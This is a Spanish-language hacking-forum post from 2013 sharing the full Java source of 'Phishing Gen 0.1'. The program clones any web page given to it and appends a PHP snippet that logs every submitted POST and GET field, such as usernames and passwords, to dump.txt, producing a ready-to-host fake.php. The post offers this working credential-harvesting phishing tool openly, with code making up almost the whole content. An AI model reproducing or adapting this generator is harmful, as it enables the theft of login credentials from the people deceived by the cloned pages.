Foro de elhacker.net

Programación => Java => Mensaje iniciado por: BigBear en 12 Febrero 2013, 18:07 pm



Título: [Java] Phishing Gen 0.1
Publicado por: BigBear en 12 Febrero 2013, 18:07 pm
Tratando de practicar este lenguaje hice este simple generador de fakes.

Código
  1. //Phishing Gen 0.1
  2. //Coded By Doddy H
  3.  
  4. import java.util.Scanner;
  5. import java.net.*;
  6. import java.io.*;
  7.  
  8. public class Main {
  9.  
  10.    public static void main(String[] args) throws Exception {
  11.  
  12.        String code;
  13.        String iny;
  14.        String pagina;
  15.  
  16.        Scanner host = new Scanner(System.in);
  17.        System.out.println("\n\n-- == Phishing Gen 0.1 == --\n\n");
  18.        System.out.println("[+] Pagina : ");
  19.        pagina = host.nextLine();
  20.  
  21.        iny = "<?php $file = fopen('dump.txt','a');foreach($_POST as $uno => $dos) {fwrite($file, $uno.'='.$dos.'\r\n');}foreach($_GET as $tres => $cuatro) {fwrite($file, $tres.'='.$cuatro.'\r\n');}fclose($file); ?>";
  22.  
  23.        code = toma(pagina);
  24.  
  25.        savefile("fake.php", code + iny);
  26.  
  27.        System.out.println("\n[+] Fake Ready");
  28.  
  29.        System.out.println("\n\n-- == Coded By Doddy H == --\n\n");
  30.    }
  31.  
  32.    private static String toma(String urla) throws Exception {
  33.  
  34.        String re;
  35.  
  36.        StringBuffer conte = new StringBuffer(40);
  37.  
  38.        URL url = new URL(urla);
  39.        URLConnection hc = url.openConnection();
  40.        hc.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  41.  
  42.        BufferedReader nave = new BufferedReader(
  43.                new InputStreamReader(hc.getInputStream()));
  44.  
  45.        while ((re = nave.readLine()) != null) {
  46.            conte.append(re);
  47.        }
  48.  
  49.        nave.close();
  50.  
  51.        return conte.toString();
  52.    }
  53.  
  54.    private static void savefile(String nombre, String texto) throws Exception {
  55.  
  56.        FileWriter writer = new FileWriter(nombre, true);
  57.        writer.write(texto + "\r\n");
  58.        writer.close();
  59.  
  60.    }
  61. }
  62.  
  63. //The End ?
  64.